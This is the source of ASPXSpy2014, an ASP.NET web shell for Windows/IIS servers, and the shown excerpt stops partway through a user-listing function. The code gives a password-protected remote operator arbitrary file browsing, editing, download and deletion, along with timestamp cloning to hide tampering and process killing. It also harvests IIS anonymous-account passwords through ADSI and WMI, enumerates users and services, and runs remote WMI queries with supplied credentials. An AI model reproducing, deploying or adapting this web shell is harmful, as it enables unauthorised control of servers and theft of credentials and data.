<%@ Page Language="C#" Debug="false" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System.IO.Compression"%>
<%@ import Namespace="System.Diagnostics"%>
<%@ import Namespace="System.Data"%>
<%@ import Namespace="System.Data.OleDb"%>
<%@ import Namespace="System.Data.Common"%>
<%@ Import Namespace="System.Data.SqlClient"%>
<%@ import Namespace="System.Management"%>
<%@ import Namespace="Microsoft.Win32"%>
<%@ import Namespace="System.Net" %>
<%@ import Namespace="System.Net.Sockets" %>
<%@ import Namespace="System.Reflection"%>
<%@ import Namespace="System.Runtime.InteropServices"%>
<%@ import Namespace="System.DirectoryServices"%>
<%@ import Namespace="System.ServiceProcess"%>
<%@ import Namespace="System.Text.RegularExpressions"%>
<%@ Import Namespace="System.Security"%>
<%@ Import Namespace="System.Security.Permissions"%>
<%@ Import Namespace="System.Threading"%>
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script runat="server">
/*
Thanks Snailsor,FuYu,BloodSword,Cnqing,Dream
Code by Bin
Make in China
Blog: http://www.rootkit.net.cn
E-mail : master@rootkit.net.cn
Mod by zcgonvh,last modified on 2014-01-23
Blog: http://z-cg.com
Bug or idea: zcgonvh@rootkit.net.cn
*/
public const string Version="ASPXSpy2014";
public const string Password="21232f297a57a5a743894a0e4a801fc3"; //admin
private const string DomainUserName="administrator";//change it if domain user name not equals "administrator"
private const string PMCacheName=Version+"PMList";
private int CssC=1;
private DbConnection conn=null;
private DbCommand comm=null;
protected void Page_Load(object sender,EventArgs e)
{
JscriptSender(this);
if (!Bin_CheckLogin()){return;}
if(IsPostBack)
{
zcg_GetDriver();
zcg_SetHeaderInfo();
string Bin_Target=Request["__EVENTTARGET"];
string Bin_Path=Request["__File"];
if(Bin_Target!="")
{try{
switch(Bin_Target)
{
case "Bin_Listdir":
Bin_File(Bin_FromBase64(Bin_Path));
break;
case "Bin_Deldir":
Bin_Deldir(Bin_FromBase64(Bin_Path));
break;
case "Bin_Createfile":
Bin_CreateFile(Bin_Path);
break;
case "Bin_Editfile":
Bin_CreateFile(Bin_Path);
break;
case "Bin_Createdir":
Bin_CreateDir(Bin_Path);
break;
case "Bin_CloneTime":
Bin_CloneTime(Bin_Path);
break;
case "Bin_DownFile":
Bin_DownFile(Bin_FromBase64(Bin_Path));
break;
case "Bin_DelFile":
Bin_DelFile(Bin_Path);
break;
case "Bin_Regread":
Bin_ShowReg(Bin_FromBase64(Bin_Path));
break;
case "Bin_KillMe":
Bin_KillMe();
break;
case "zcg_KillProcess":
zcg_KillProcess(Bin_Path);
break;
case "zcg_ListADS":
zcg_txbADSPath.Value=Bin_FromBase64(Bin_Path);
zcg_EnumADSChildrenAndListProperties(Bin_FromBase64(Bin_Path),zcg_txbADSUser.Value,zcg_txbADSPass.Value,zcg_txbADSType.Value);
break;
case "zcg_ClosePM":
zcg_ClosePM(Bin_FromBase64(Bin_Path));
break;
}
if(Bin_Target.StartsWith("zcg_Rename"))
{
zcg_Rename(Bin_FromBase64(Bin_Target.Replace("zcg_Rename","")),Bin_Path);
}
else if(Bin_Target.StartsWith("Bin_CFile"))
{
Bin_CopyFile(Bin_FromBase64(Bin_Target.Replace("Bin_CFile","")),Bin_Path);
}
}catch(Exception ex){zcg_ShowError(ex);}}
}
else
{Bin_Main();}
}
void IHttpHandler.ProcessRequest(HttpContext context)
{
try{base.ProcessRequest(context);}
catch(SecurityException ex){context.Response.Clear();context.Response.Write("AspxSpy request low-trust minimum,Exception message: "+ex.Message);}
catch(Exception ex){context.Response.Write(String.Format("Unhandled exception: {0} <pre><xmp>\r\nmessage:\r\n {1} \r\ntrace:\r\n {2} \r\n string:\r\n {3}</xmp></pre>",ex.GetType(),ex.Message,ex.StackTrace,ex));}
}
private void Hide_Div()
{
Bin_Div_Process.Visible = false;
Bin_Div_File.Visible = false;
Bin_Div_Cmd.Visible = false;
Bin_Div_Reg.Visible = false;
Bin_Div_PortScan.Visible = false;
Bin_Div_Data.Visible = false;
Bin_Div_PortMap.Visible = false;
Bin_Div_Edit.Visible = false;
Bin_Div_Search.Visible = false;
Bin_Div_WmiTools.Visible = false;
zcg_div_ADSViewer.Visible=false;
zcg_div_Plugin.Visible=false;
}
private bool Bin_CheckLogin()
{
if(Request.Cookies[Version]==null)
{
Bin_Login();
return false;
}
else
{
if (Request.Cookies[Version].Value!=Password)
{
Bin_Login();
return false;
}
else
{
return true;
}
}
}
private void Bin_Login()
{
Bin_Div_Login.Visible=true;
Bin_Div_Content.Visible=false;
}
protected void Bin_Button_Logout_Click(object sender,EventArgs e)
{
Session.Abandon();
Response.Cookies.Add(new HttpCookie(Version,null));
Bin_Login();
}
private void Bin_Main()
{
zcg_SetHeaderInfo();
zcg_GetDriver();
if (Bin_TextBox_Path.Value=="")
{
Bin_TextBox_Path.Value=Bin_PathBuild(Server.MapPath("."));
}
Bin_File(Bin_TextBox_Path.Value);
}
private void zcg_SetHeaderInfo()
{
Bin_Div_Content.Visible=true;
Bin_Div_Login.Visible=false;
Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}";
Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}";
Bin_Button_KillMe.Attributes["onClick"]="if(confirm('Are you sure delete ASPXSPY?')){Bin_PostBack('Bin_KillMe','');};";
Bin_Span_Sname.InnerHtml=Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"("+Request.ServerVariables["SERVER_NAME"]+")"+zcg_CheckPermission();
Bin_Span_FrameVersion.InnerHtml="Framework Ver : "+Environment.Version.ToString();
}
private string zcg_CheckPermission()
{
string s=" Host Trust Level: <span style='color:red;'>{0}</span> IsFull-Trust: <span style='color:red;'>{1}</span> User:  <span style='color:red;'>{2}</span>";
string u=zcg_GetUserName();
try{(new PermissionSet(PermissionState.Unrestricted)).Demand();return string.Format(s,GetTrustLevel(),true,u);}
catch{return string.Format(s,GetTrustLevel(),false,u);}
}
private string zcg_GetUserName()
{
try{return System.Security.Principal.WindowsIdentity.GetCurrent().Name;}catch{return "Unknown -- No permission";}
}
private string GetTrustLevel()
{
try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Unrestricted).Demand();return "Full";}catch{}
try{new AspNetHostingPermission(AspNetHostingPermissionLevel.High).Demand();return "High";}catch{}
try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Medium).Demand();return "Medium";}catch{}
try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Low).Demand();return "Low";}catch{}
try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Minimal).Demand();return "Minimal";}catch{}
try{new AspNetHostingPermission(AspNetHostingPermissionLevel.None).Demand();return "None";}catch{}
return "Unknown";
}
private void zcg_GetDriver()
{
string[] drivers=null;
try{drivers=Directory.GetLogicalDrives();}
catch{string drs="";
for(int i=0x41;i<0x5b;i++)
{
string ds=new string((new char[]{(char)i,':','\\'}));
try
{
DriveInfo di=new DriveInfo(ds);
if(di.DriveType!=DriveType.NoRootDirectory){drs+=ds+"|";}
}catch{}
finally{drivers=drs.Split(new char[]{'|'},(StringSplitOptions)1);}
}}
Bin_Span_Drv.InnerHtml="";
for(int i=0;i<drivers.Length;i++)
{
Bin_Span_Drv.InnerHtml+=String.Format("<a href=\"javascript:Bin_PostBack('Bin_Listdir','{0}')\">{1}</a> | ",Bin_ToBase64(drivers[i]),Bin_Drvbuild(drivers[i]));
}
}
private string Bin_PathBuild(string path)
{
if(!path.EndsWith(@"\")){path+=@"\";}return path;
}
private string Bin_Drvbuild(string instr)
{
DriveInfo di=new DriveInfo(instr);
return String.Format("{0}({1}:)",di.DriveType,instr[0]);
}
private string Bin_ToBase64(string instr)
{
byte[] tmp=Encoding.UTF8.GetBytes(instr);
return Convert.ToBase64String(tmp);
}
private string Bin_FromBase64(string instr)
{
byte[] tmp=Convert.FromBase64String(instr);
return Encoding.UTF8.GetString(tmp);
}
private TableRow zcg_GetTableRow()
{
TableRow tr=new TableRow();
zcg_SetControlAttribute(tr);
return tr;
}
private void zcg_SetControlAttribute(WebControl ctl)
{
string bg=Bin_Css();
ctl.Attributes["onmouseover"]="this.className='focus';";
ctl.CssClass=bg;
ctl.Attributes["onmouseout"]="this.className='"+bg+"';";
}
private void Bin_File(string path)
{
try{
Hide_Div();
Bin_Div_File.Visible=true;
Bin_H2_Title.InnerText="File Manager >>";
Bin_TextBox_Path.Value=Bin_PathBuild(path);
path=(path.EndsWith("\\")&&(!path.EndsWith(":\\")))?path.TrimEnd('\\'):path;
DirectoryInfo Bin_dir=new DirectoryInfo(path);
try{
if(Directory.GetParent(path)!=null)
{
TableRow p=zcg_GetTableRow();
for(int i=1;i<6;i++)
{
TableCell pc=new TableCell();
if(i==1)
{
pc.Width=Unit.Parse("2%");
pc.Text="0";
}
if(i==2)
{
pc.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(Directory.GetParent(path).ToString())+"')\">Parent Directory</a>";
}
p.Cells.Add(pc);
Bin_Table_File.Rows.Add(p);
}
}}catch{}
try
{
int dir_c=0;
foreach(DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
{
dir_c++;
TableCell tc=new TableCell();
tc.Width=Unit.Parse("2%");
tc.Text="0";
TableRow tr=zcg_GetTableRow();
tr.Cells.Add(tc);
TableCell dirname=new TableCell();
dirname.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"')\">"+Bin_folder.Name+"</a>";
tr.Cells.Add(dirname);
TableCell dirtime=new TableCell();
dirtime.Text=Bin_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
tr.Cells.Add(dirtime);
Bin_Table_File.Rows.Add(tr);
TableCell dirsize=new TableCell();
dirsize.Text="--";
tr.Cells.Add(dirsize);
Bin_Table_File.Rows.Add(tr);
TableCell diraction=new TableCell();
diraction.Text="<a href=\"javascript:if(confirm('Are you sure will delete it ?\\n\\nIf non-empty directory,will be delete all the files.')){Bin_PostBack('Bin_Deldir','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"')};\">Del</a> | <a href='#' onclick=\"var filename=prompt('Please input the new folder name:','"+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('zcg_Rename"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"',filename);} \">Rename</a>";
tr.Cells.Add(diraction);
Bin_Table_File.Rows.Add(tr);
}
TableRow intr=new TableRow();
intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;";
intr.Attributes["bgcolor"]="#dddddd";
TableCell intc=new TableCell();
intc.Attributes["colspan"]="6" ;
intc.Attributes["height"]="5";
intr.Cells.Add(intc);
Bin_Table_File.Rows.Add(intr);
int file_c=0;
foreach(FileInfo Bin_Files in Bin_dir.GetFiles())
{
file_c++;
TableRow tr=zcg_GetTableRow();
TableCell tc=new TableCell();
tc.Width=Unit.Parse("2%");
tc.Text="<input type=\"checkbox\" value=\"0\" name=\""+Bin_ToBase64(Bin_Files.Name)+"\">";
tr.Cells.Add(tc);
TableCell filename=new TableCell();
if(Bin_Files.FullName.StartsWith(Request.PhysicalApplicationPath))
{
string url=Request.Url.ToString();
filename.Text="<a href=\""+Bin_Files.FullName.Replace(Request.PhysicalApplicationPath,url.Substring(0,url.IndexOf('/',8)+1)).Replace("\\","/")+"\" target=\"_blank\">"+Bin_Files.Name+"</a>";
}
else
{
filename.Text=Bin_Files.Name;
}
TableCell filetime=new TableCell();
filetime.Text=Bin_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
TableCell filesize=new TableCell();
filesize.Text=Bin_FileSize(Bin_Files.Length);
TableCell action=new TableCell();
action.Text="<a href=\"#\" onclick=\"Bin_PostBack('Bin_DownFile','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"')\">Down</a> | <a href='#' onclick=\"var filename=prompt('Please input the new path(full path):','"+Bin_TextBox_Path.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"',filename);} \">Copy</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')\">Edit</a> | <a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','"+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('zcg_Rename"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"',filename);} \">Rename</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_CloneTime','"+Bin_Files.Name+"')\">Time</a> ";
tr.Cells.Add(filename);
tr.Cells.Add(filetime);
tr.Cells.Add(filesize);
tr.Cells.Add(action);
Bin_Table_File.Rows.Add(tr);
}
TableRow cktr=zcg_GetTableRow();
for(int i=1;i<4;i++)
{
TableCell cktd=new TableCell();
if(i==1)
{
cktd.Text="<input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}\"/>";
}
if(i==2)
{
cktd.Text="<a href=\"#\" Onclick=\"var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Are you sure delete the files ?')){Bin_PostBack('Bin_DelFile',d_file)};}\">Delete selected</a>";
}
if(i==3)
{
cktd.ColumnSpan=4;
cktd.Style.Add("text-align","right");
cktd.Text=dir_c+" directories/ "+file_c+" files";
}
cktr.Cells.Add(cktd);
}
Bin_Table_File.Rows.Add(cktr);
}
catch(Exception err)
{
zcg_ShowError(err);
}}catch(Exception ex){zcg_ShowError(ex);}
}
private string Bin_Css()
{
CssC++;
if(CssC % 2==0)
{
return "alt1";
}
else
{
return "alt2";
}
}
private void Bin_Deldir(string dirstr)
{
try
{
Directory.Delete(dirstr,true);
Bin_Msg("Directory delete success !");
}
catch(Exception error)
{
zcg_ShowError(error);
}
Bin_File(Directory.GetParent(dirstr).ToString());
}
private void zcg_Rename(string source,string dire)
{
try
{
dire=Path.Combine(Bin_TextBox_Path.Value,dire);
Directory.Move(source,dire);
Bin_Msg("Rename Success !");
}
catch(Exception error)
{
Bin_Msg(error.Message);
}
Bin_File(Bin_TextBox_Path.Value);
}
private void Bin_CopyFile(string spath,string dpath)
{
try
{
File.Copy(spath,dpath);
Bin_Msg("File Copy Success !");
}
catch(Exception error)
{
zcg_ShowError(error);
}
Bin_File(Bin_TextBox_Path.Value);
}
private void Bin_CreateDir(string path)
{
try
{
Directory.CreateDirectory(Bin_TextBox_Path.Value+path);
Bin_Msg("Directory created success !");
}
catch(Exception error)
{
zcg_ShowError(error);
}
Bin_File(Bin_TextBox_Path.Value);
}
private void Bin_CreateFile(string path)
{
if(Request["__EVENTTARGET"]=="Bin_Editfile" || Request["__EVENTTARGET"]=="Bin_Createfile")
{
foreach(ListItem item in Bin_List_Code.Items)
{
if(item.Selected)
{
item.Selected=false;
}
}
}
Bin_H2_Title.InnerText="Create/ Edit File >>";
Hide_Div();
Bin_Div_Edit.Visible=true;
if(path.IndexOf(":")< 0)
{
Bin_TextBox_Fp.Value=Bin_TextBox_Path.Value+path;
}
else
{
Bin_TextBox_Fp.Value=path;
}
if(File.Exists(Bin_TextBox_Fp.Value))
{
StreamReader sr;
if(Bin_List_Code.SelectedItem.Text=="UTF-8")
{
sr=new StreamReader(Bin_TextBox_Fp.Value,Encoding.UTF8);
}
else
{
sr=new StreamReader(Bin_TextBox_Fp.Value,Encoding.Default);
}
Bin_Textarea_Edit.InnerText=sr.ReadToEnd();
sr.Close();
}
else
{
Bin_Textarea_Edit.InnerText="";
}
}
private void Bin_DownFile(string path)
{
FileStream fs=null;
byte[] buffer=new byte[0x1000];
int count=0;
try{
FileInfo fi=new FileInfo(path);
fs=fi.OpenRead();
Response.Clear();
Response.ClearHeaders();
Response.Buffer=false;
this.EnableViewState=false;
Response.AddHeader("Content-Disposition","attachment;filename="+HttpUtility.UrlEncode(fi.Name,System.Text.Encoding.UTF8));
Response.AddHeader("Content-Length",fi.Length.ToString());
Response.ContentType="application/octet-stream";
count=fs.Read(buffer,0,0x1000);
while(count>0)
{
Response.OutputStream.Write(buffer,0,count);
Response.Flush();
count=fs.Read(buffer,0,0x1000);
}
Page.Response.Flush();
Response.End();
}catch(Exception ex){zcg_ShowError(ex);}
finally{if(fs!=null){fs.Close();}}
}
private void Bin_DelFile(string path)
{
try
{
string[] mydata=path.Split(',');
for(int i=0;i<mydata.Length-1;i++)
{
File.Delete(Bin_TextBox_Path.Value+Bin_FromBase64(mydata[i]));
}
Bin_Msg("File Delete Success !");
}
catch(Exception error)
{
zcg_ShowError(error);
}
Bin_File(Bin_TextBox_Path.Value);
}
private void Bin_KillMe()
{
try
{
File.Delete(Request.PhysicalPath);
Response.Redirect("http://www.rootkit.net.cn");
}
catch(Exception error)
{
zcg_ShowError(error);
}
}
private void Bin_CloneTime(string path)
{
try{
path=Path.Combine(Bin_TextBox_Path.Value,path);
Bin_TextBox_Sp.Value=path;
Bin_TextBox_Dp.Value=Bin_TextBox_Path.Value;
Bin_TextBox_Sp1.Value=path;
string Att=File.GetAttributes(Bin_TextBox_Sp.Value).ToString();
Bin_H2_Title.InnerText="Clone file was last modified time >>";
Hide_Div();
Bin_Div_Time.Visible=true;
if(Att.LastIndexOf("ReadOnly")!=-1)
{
Bin_CheckBox_ReadOnly.Checked=true;
}
if(Att.LastIndexOf("System")!=-1)
{
Bin_CheckBox_System.Checked=true;
}
if(Att.LastIndexOf("Hidden")!=-1)
{
Bin_CheckBox_Hiddent.Checked=true;
}
if(Att.LastIndexOf("Archive")!=-1)
{
Bin_CheckBox_Archive.Checked=true;
}
Bin_TextBox_Creation.Value=File.GetCreationTimeUtc(Bin_TextBox_Sp1.Value).ToString();
Bin_TextBox_LastWrite.Value=File.GetLastWriteTimeUtc(Bin_TextBox_Sp1.Value).ToString();
Bin_TextBox_LastAccess.Value=File.GetLastAccessTimeUtc(Bin_TextBox_Sp1.Value).ToString();
}catch(Exception ex){zcg_ShowError(ex);}
}
private String Bin_FileSize(Int64 fileSize)
{
if(fileSize<0)
{
throw new ArgumentOutOfRangeException("fileSize");
}
else if(fileSize >= 1024 * 1024 * 1024)
{
return string.Format("{0:########0.00} G",((Double)fileSize)/(1024 * 1024 * 1024));
}
else if(fileSize >= 1024 * 1024)
{
return string.Format("{0:####0.00} M",((Double)fileSize)/(1024 * 1024));
}
else if(fileSize >= 1024)
{
return string.Format("{0:####0.00} K",((Double)fileSize)/ 1024);
}
else
{
return string.Format("{0} B",fileSize);
}
}
private void Bin_IISSpy()
{
string iisstr="IIS://localhost/W3SVC";
DirectoryEntry mydir=new DirectoryEntry(iisstr);
foreach(DirectoryEntry child in mydir.Children)
{
int tmpi=0;
if(Int32.TryParse(child.Name.ToString(),out tmpi))
{
DirectoryEntry newdir=new DirectoryEntry(iisstr+"/"+child.Name.ToString());
DirectoryEntry dirmsg=newdir.Children.Find("root","IIsWebVirtualDir");
TableRow TR=zcg_GetTableRow();
TR.Attributes["title"]="Site:"+child.Properties["ServerComment"].Value.ToString();
for(int i=1;i<6;i++)
{
try
{
TableCell TC_USER=new TableCell();
switch(i)
{ case 1:
TC_USER.Text=tmpi.ToString();
break;
case 2:
TC_USER.Text=dirmsg.Properties["AnonymousUserName"].Value.ToString();
break;
case 3:
TC_USER.Text=dirmsg.Properties["AnonymousUserPass"].Value.ToString();
break;
case 4:
StringBuilder sb=new StringBuilder();
PropertyValueCollection pc=child.Properties["ServerBindings"];
for (int j=0; j < pc.Count; j++)
{
sb.Append(pc[j].ToString()+"
");
}
TC_USER.Text=sb.ToString().Substring(0,sb.ToString().Length-4);
break;
case 5:
TC_USER.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(dirmsg.Properties["Path"].Value.ToString())+"')\">"+dirmsg.Properties["Path"].Value.ToString()+"</a>";
break;
}
TR.Cells.Add(TC_USER);
}
catch{continue;}
}
Bin_Table_IISSpy.Controls.Add(TR);
}
}
}
private void Bin_WMI_IISSpy()
{
Regex re=new Regex(@"W3SVC\/(\d+)\/",RegexOptions.IgnoreCase);
ManagementScope wmiscope=new ManagementScope(@"\\.\root\MicrosoftIISv2");
wmiscope.Connect();
ObjectQuery wmiquery=new ObjectQuery("SELECT * FROM IISWebVirtualDirSetting");
ManagementObjectSearcher wmisearcher=new ManagementObjectSearcher(wmiscope,wmiquery);
ManagementObjectCollection querycoll=wmisearcher.Get();
foreach(ManagementObject objmanage in querycoll)
{
string siteid=re.Matches(objmanage["Name"].ToString())[0].Groups[1].Value;
TableRow TR=zcg_GetTableRow();
for(int i=1;i<6;i++)
{
try
{
TableCell TC_USER=new TableCell();
switch (i)
{
case 1:
TC_USER.Text=siteid;
break;
case 2:
TC_USER.Text=objmanage["AnonymousUserName"].ToString();
break;
case 3:
TC_USER.Text=objmanage["AnonymousUserPass"].ToString();
break;
case 4:
wmiquery=new ObjectQuery("SELECT * from IISWebServerSetting where Name='W3SVC/"+siteid+"'");
wmisearcher=new ManagementObjectSearcher(wmiscope,wmiquery);
ManagementObjectCollection svrcoll=wmisearcher.Get();
foreach(ManagementObject objsvr in svrcoll)
{
StringBuilder sb=new StringBuilder();
TR.Attributes["title"]="Site:"+objsvr["ServerComment"];
foreach(ManagementBaseObject objbind in (ManagementBaseObject[])objsvr["ServerBindings"])
{
sb.Append(objbind["IP"].ToString()+":"+objbind["Port"].ToString()+":"+objbind["Hostname"].ToString()+"
");
}
TC_USER.Text=sb.ToString().Substring(0,sb.ToString().Length-4);
}
break;
case 5:
TC_USER.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(objmanage["Path"].ToString())+"')\">"+objmanage["Path"].ToString()+"</a>";
break;
}
TR.Cells.Add(TC_USER);
}
catch{continue;}
}
Bin_Table_IISSpy.Controls.Add(TR);
}
}
private ManagementObjectCollection Bin_WmiQuery(string @namespace,string query)
{
ManagementObjectSearcher QS=new ManagementObjectSearcher(@namespace,query);
return QS.Get();
}
private DataTable zcg_WmiDataTable(string @namespace,string query)
{
ManagementObjectSearcher QS=new ManagementObjectSearcher(@namespace,query);
return zcg_WmiSearcherToDataTable(QS);
}
private DataTable zcg_WmiDataTable(string computer,string username,string password,string @namespace,string query)
{
ConnectionOptions connection = new ConnectionOptions();
string domain=(username.IndexOf("\\")>0)?(username.Split('\\')[0]):"";
connection.Username = (username.IndexOf("\\")>0)?(username.Split('\\')[1]):username;
connection.Password = password;
connection.Authority = "ntlmdomain:"+domain;
ManagementScope scope = new ManagementScope("\\\\"+computer+"\\"+@namespace, connection);
scope.Connect();
ObjectQuery objquery= new ObjectQuery(query);
ManagementObjectSearcher QS = new ManagementObjectSearcher(scope, objquery);
return zcg_WmiSearcherToDataTable(QS);
}
private DataTable zcg_WmiSearcherToDataTable(ManagementObjectSearcher QS)
{
DataTable dt=new DataTable();
foreach(ManagementObject m in QS.Get())
{
DataRow dr=dt.NewRow();
PropertyDataCollection.PropertyDataEnumerator oEnum;
oEnum=(m.Properties.GetEnumerator()as PropertyDataCollection.PropertyDataEnumerator);
while(oEnum.MoveNext())
{
PropertyData prop=(PropertyData)oEnum.Current;
if(dt.Columns.IndexOf(prop.Name)==-1)
{
dt.Columns.Add(prop.Name);
dt.Columns[dt.Columns.Count-1].DefaultValue="";
}
if(m[prop.Name]!=null)
{
dr[prop.Name]=m[prop.Name].ToString();
}
else
{
dr[prop.Name]="";
}
}
dt.Rows.Add(dr);
}
return dt;
}
private void Bin_GetProcess()
{
int pcount=0;
Process[] p=Process.GetProcesses();
foreach(Process sp in p)
{
pcount++;
TableRow tr=zcg_GetTableRow();
for(int i=1;i<7;i++)
{
TableCell td=new TableCell();
if(i==1)
{
td.Width=Unit.Parse("2%");
td.Text=pcount.ToString();
tr.Controls.Add(td);
}
if(i==2)
{
td.Text=sp.Id.ToString();
tr.Controls.Add(td);
}
if(i==3)
{
td.Text=sp.ProcessName.ToString();
tr.Controls.Add(td);
}
if(i==4)
{
td.Text=sp.Threads.Count.ToString();
tr.Controls.Add(td);
}
if(i==5)
{
td.Text=sp.BasePriority.ToString();
tr.Controls.Add(td);
}
if(i==6)
{
td.Text=zcg_MakeKillProcessLink(sp.Id);
tr.Controls.Add(td);
}
}
Bin_Table_Process.Controls.Add(tr);
}
}
private void Bin_Wmi_GetProcess()
{
int pcount=0;
DataTable dt=zcg_WmiDataTable("root\\CIMV2","select * from Win32_Process");
for(int j=0;j<dt.Rows.Count;j++)
{
pcount++;
TableRow tr=zcg_GetTableRow();
for(int i=1;i<7;i++)
{
TableCell td=new TableCell();
if(i==1)
{
td.Width=Unit.Parse("2%");
td.Text=pcount.ToString();
tr.Controls.Add(td);
}
if(i==2)
{
td.Text=dt.Rows[j]["ProcessID"].ToString();
tr.Controls.Add(td);
}
if(i==3)
{
td.Text=dt.Rows[j]["Name"].ToString();
tr.Controls.Add(td);
}
if(i==4)
{
td.Text=dt.Rows[j]["ThreadCount"].ToString();
tr.Controls.Add(td);
}
if(i==5)
{
td.Text=dt.Rows[j]["Priority"].ToString();
tr.Controls.Add(td);
}
if(i==6)
{
td.Text=zcg_MakeKillProcessLink(dt.Rows[j]["ProcessID"]);
tr.Controls.Add(td);
}
}
Bin_Table_Process.Controls.Add(tr);
}
}
private string zcg_MakeKillProcessLink(object pid)
{
return string.Format("<a href=\"javascript:Bin_PostBack('zcg_KillProcess','{0}')\">Kill</a>",pid);
}
private void zcg_KillProcess(string pid)
{
zcg_ProcessHeader();
try{zcg_DoKillProcess(pid);Bin_Msg("Process Kill Success !");}catch{try{zcg_DoKillProcessWmi(pid);}catch(Exception ex){zcg_ShowError(ex);}}
Bin_Button_Process_Click(null,null);
}
private void zcg_DoKillProcess(string pid)
{
Process.GetProcessById(Int32.Parse(pid)).Kill();
}
private void zcg_DoKillProcessWmi(string pid)
{
uint i=0;
foreach(ManagementObject p in Bin_WmiQuery("root\\CIMV2","Select * from Win32_Process Where ProcessID ='"+pid+"'"))
{
i=(uint)(p.InvokeMethod("Terminate",null));
p.Dispose();
}
if(i==0){Bin_Msg("Process Kill Success !");}
else{Bin_Msg("Kill process error , returned value: "+i);}
}
private void Bin_GetServices()
{
int pcount=0;
ServiceController[] objsrv=System.ServiceProcess.ServiceController.GetServices();
for(int i=0;i<objsrv.Length;i++)
{
pcount++;
TableRow tr=zcg_GetTableRow();
for(int b=1;b<7;b++)
{
TableCell td=new TableCell();
if(b==1)
{
td.Width=Unit.Parse("2%");
td.Text=pcount.ToString();
tr.Controls.Add(td);
}
if(b==2)
{
td.Text="null";
tr.Controls.Add(td);
}
if(b==3)
{
td.Text=objsrv[i].ServiceName.ToString();
tr.Controls.Add(td);
}
if(b==4)
{
td.Text="";
tr.Controls.Add(td);
}
if(b==5)
{
string state=objsrv[i].Status.ToString();
if(state=="Running")
{
td.Text="<font color=green>"+state+"</font>";
}
else
{
td.Text="<font color=red>"+state+"</font>";
}
tr.Controls.Add(td);
}
if(b==6)
{
td.Text="";
tr.Controls.Add(td);
}
}
Bin_Table_Serviecs.Controls.Add(tr);
}
}
private void Bin_Wmi_GetServices()
{
int pcount=0;
DataTable dt=zcg_WmiDataTable("root\\CIMV2","select * from Win32_Service");
for(int j=0;j<dt.Rows.Count;j++)
{
pcount++;
TableRow tr=zcg_GetTableRow();
tr.Attributes["title"]=dt.Rows[j]["Description"].ToString();
for(int i=1;i<7;i++)
{
TableCell td=new TableCell();
if(i==1)
{
td.Width=Unit.Parse("2%");
td.Text=pcount.ToString();
tr.Controls.Add(td);
}
if(i==2)
{
td.Text=dt.Rows[j]["ProcessID"].ToString();
tr.Controls.Add(td);
}
if(i==3)
{
td.Text=dt.Rows[j]["Name"].ToString();
tr.Controls.Add(td);
}
if(i==4)
{
td.Text=dt.Rows[j]["PathName"].ToString();
tr.Controls.Add(td);
}
if(i==5)
{
string state=dt.Rows[j]["State"].ToString();
if(state=="Running")
{
td.Text="<font color=green>"+state+"</font>";
}
else
{
td.Text="<font color=red>"+state+"</font>";
}
tr.Controls.Add(td);
}
if(i==6)
{
td.Text=dt.Rows[j]["StartMode"].ToString();
tr.Controls.Add(td);
}
}
Bin_Table_Serviecs.Controls.Add(tr);
}
}
private void Bin_UserInfo()
{
DirectoryEntry users=new DirectoryEntry("WinNT://"+Environment.MachineName.ToString());
foreach(DirectoryEntry child in users.Children)
{
foreach(string name in child.Properties.PropertyNames)
{
PropertyValueCollection pvc=child.Properties[name];
int c=pvc.Count;
for(int i=0;i<c;i++)
{
if(name!="objectSid"&&name!="Parameters"&&name!="LoginHours")
{
TableRow tr=zcg_GetTableRow();
TableCell td=new TableCell();
td.Text=name;
tr.Controls.Add(td);
